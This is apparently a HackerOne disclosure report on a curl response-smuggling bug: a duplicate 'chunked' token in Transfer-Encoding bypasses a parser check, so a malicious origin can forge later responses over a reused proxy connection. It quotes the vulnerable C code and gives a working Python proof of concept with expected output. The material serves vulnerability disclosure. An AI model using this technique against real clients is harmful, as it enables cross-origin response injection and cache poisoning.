HACKERONE

curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615

Description

## TL;DR

A malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl's "chunked must be last" guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.

## Summary:

curl accepts the malformed HTTP/1.1 response header `Transfer-Encoding: chunked, chunked, gzip`.
curl already has a guard that rejects transfer codings listed after `chunked`, because `chunked` must be the final transfer coding, but a duplicate `chunked` entry bypasses that guard.
In `Curl_build_unencoding_stack()`, the duplicate-`chunked` branch returns `CURLE_OK` for the entire header instead of ignoring only the duplicate token and continuing to parse the later `gzip` token.
When curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection.
An attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.

The attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.

## Affected versions
This appears to affect curl/libcurl versions starting with `8.8.0`.
The vulnerable behavior was introduced by commit `886899143f`; the first release containing that commit is `8.8.0`.

I reproduced the issue on current repository `HEAD` `30c9c79cf8d2`, built from `https://github.com/curl/curl`, on:

```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
Release-Date: [unreleased]
Protocols: file ftp http ipfs ipns ws
Features: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets
```

Platform:

```text
Linux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
```

Relevant code paths:

```c
/* lib/http.c */
result = Curl_build_unencoding_stack(data, v, TRUE);

/* lib/content_encoding.c */
cwt = find_unencode_writer(name, namelen, phase);
if(cwt && is_chunked && Curl_cwriter_get_by_type(data, cwt)) {
CURL_TRC_WRITE(data, "ignoring duplicate 'chunked' decoder");
return CURLE_OK;
}

if(is_transfer && !is_chunked &&
Curl_cwriter_get_by_name(data, "chunked")) {
failf(data, "Reject response due to 'chunked' not being the last "
"Transfer-Encoding");
return CURLE_BAD_CONTENT_ENCODING;
}
```

The early `return CURLE_OK` skips the later `gzip` token in `Transfer-Encoding: chunked, chunked, gzip`, so the existing "chunked not last" rejection is never reached.

## Steps To Reproduce:
Run the following self-contained PoC from a curl source checkout after building `src/curl`. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to `attacker.test` followed by one request to `victim.test` in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin's response.

```bash
python3 <<'PY'
import os, shutil, socket, subprocess, threading, time

curl_bin = os.environ.get("CURL_BIN")
if not curl_bin:
curl_bin = "./src/curl" if os.path.exists("./src/curl") else shutil.which("curl")
if not curl_bin:
raise SystemExit("Set CURL_BIN or run from a curl checkout with ./src/curl")

def read_headers(conn):
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
return data

def run_case(te_value):
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 0))
listener.listen(1)
port = listener.getsockname()[1]
seen_requests = []

def proxy():
conn, _ = listener.accept()
conn.settimeout(5)
try:
seen_requests.append(read_headers(conn))
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
+ b"Transfer-Encoding: " + te_value.encode("ascii") + b"\r\n"
+ b"Connection: keep-alive\r\n\r\n"
+ b"5\r\nHELLO\r\n0\r\n\r\n"
)

# Attacker-controlled bytes queued after the first response.
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 9\r\n"
b"Connection: keep-alive\r\n\r\n"
b"SMUGGLED!"
)

try:
seen_requests.append(read_headers(conn))
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 7\r\n"
b"Connection: close\r\n\r\n"
b"BENIGN\n"
)
except Exception:
pass
finally:
conn.close()
listener.close()

threading.Thread(target=proxy, daemon=True).start()
proc = subprocess.run(
[
curl_bin,
"-q",
"--http1.1",
"--proxy", f"http://127.0.0.1:{port}",
"-sS",
"-v",
"http://attacker.test/one",
"http://victim.test/two",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
)
return proc, seen_requests

print(subprocess.check_output([curl_bin, "--version"], text=True).splitlines()[0])

control, _ = run_case("chunked, gzip")
control_err = control.stderr.decode("latin1", "replace")
print("control_exit:", control.returncode)
print("control_rejected:", "A Transfer-Encoding (gzip) was listed after chunked" in control_err)

vuln, seen = run_case("chunked, chunked, gzip")
vuln_out = vuln.stdout.decode("latin1", "replace")
vuln_err = vuln.stderr.decode("latin1", "replace")
print("vulnerable_exit:", vuln.returncode)
print("vulnerable_stdout:", vuln_out)
print("second_request_reached_proxy:", len(seen) >= 2)
print("proxy_connection_reused:", "Reusing existing http: connection with proxy" in vuln_err)

if (
"A Transfer-Encoding (gzip) was listed after chunked" in control_err
and vuln.returncode == 0
and vuln_out == "HELLOSMUGGLED!"
and len(seen) >= 2
and "Reusing existing http: connection with proxy" in vuln_err
):
print("VULNERABLE: queued attacker bytes were parsed as the second origin response")
else:
print("NOT REPRODUCED")
print(vuln_err)
raise SystemExit(1)
PY
```

Expected output on a vulnerable build:

```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
control_exit: 56
control_rejected: True
vulnerable_exit: 0
vulnerable_stdout: HELLOSMUGGLED!
second_request_reached_proxy: True
proxy_connection_reused: True
VULNERABLE: queued attacker bytes were parsed as the second origin response
```

The control case proves that curl correctly rejects `Transfer-Encoding: chunked, gzip`.
The vulnerable case proves that adding a duplicate `chunked` token changes the result: curl accepts `Transfer-Encoding: chunked, chunked, gzip`, consumes `HELLO` as the first response body, then parses `SMUGGLED!` as the body of the second request to `victim.test`.

## Impact

## Summary:
An attacker who controls one ordinary HTTP origin can make curl/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher/proxy output, or incorrect trust decisions.
Visit Original Source

Basic Information

ID H1:3795615
Published Jun 11, 2026 at 08:27
Modified Jun 13, 2026 at 20:47

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.